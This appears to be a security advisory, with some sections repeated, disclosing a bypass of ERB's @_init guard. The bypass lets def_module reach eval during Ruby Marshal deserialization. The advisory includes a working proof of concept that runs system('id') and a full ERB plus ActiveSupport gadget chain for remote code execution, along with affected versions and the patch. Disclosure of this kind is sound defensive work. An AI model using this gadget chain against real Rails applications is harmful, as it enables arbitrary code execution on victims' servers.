Details
The @_init Guard
In ERB#initialize, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In ERB#result and ERB#run, the guard is checked before eval(@src):
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
Proof of Concept
Minimal (ERB only)
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def initialize(h)
h.each { |k, v| instance_variable_set(k, v) }
end
end
end
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
:@instance => erb,
:@method => :def_module,
:@var => "@x",
:@deprecator => Kernel
})
marshaled = Marshal.dump({proxy => 0})
# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)
# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
Chain:
Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
- Hash key insertion calls
.hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')
Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an
@_initinstance variable guard inERB#resultandERB#runto prevent code execution when an ERB object is reconstructed viaMarshal.load(deserialization). However, three other public methods that also evaluate@srcviaeval()were not given the same guard:ERB#def_methodERB#def_moduleERB#def_classAn attacker who can trigger
Marshal.loadon untrusted data in a Ruby application that haserbloaded can useERB#def_module(zero-arg, default parameters) as a code execution sink, bypassing the@_initprotection entirely.Details
The @_init Guard
In
ERB#initialize, the guard is set:In
ERB#resultandERB#run, the guard is checked beforeeval(@src):When an ERB object is reconstructed via
Marshal.load,@_initis eithernil(not set during marshal reconstruction) or an attacker-controlled value. SinceERB.singleton_classcannot be marshaled, the attacker cannot set@_initto the correct value, andresult/runcorrectly refuse to execute.The Bypass
ERB#def_method,ERB#def_module, andERB#def_classall reacheval(@src)without checking@_init:def_moduleanddef_classaccept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.Method wrapper breakout
def_methodwraps@srcin a method definition:"def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting@srcto begin withend\n, the attacker closes the method definition early. Code after the firstendexecutes immediately atmodule_evaltime:Proof of Concept
Minimal (ERB only)
Marshal deserialization (ERB + ActiveSupport)
When combined with
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxyas a method dispatch gadget, this achieves RCE viaMarshal.load:Chain:
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key.hashon the proxy.hashis undefined ->method_missing(:hash)-> dispatches toERB#def_moduledef_module->def_method->module_eval(eval(src))-> breakout ->system('id')Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
Impact
Scope
Any Ruby application that calls
Marshal.loadon untrusted data AND has botherbandactivesupportloaded is vulnerable to arbitrary code execution. This includes:Marshal.loadfor caching, data import, or IPCSeverity justification
The
@_initguard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. Thedef_modulebypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
Details
Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
Details
Add the
@_initcheck todef_method. Sincedef_moduleanddef_classboth delegate todef_method, this single change covers all three bypass paths:References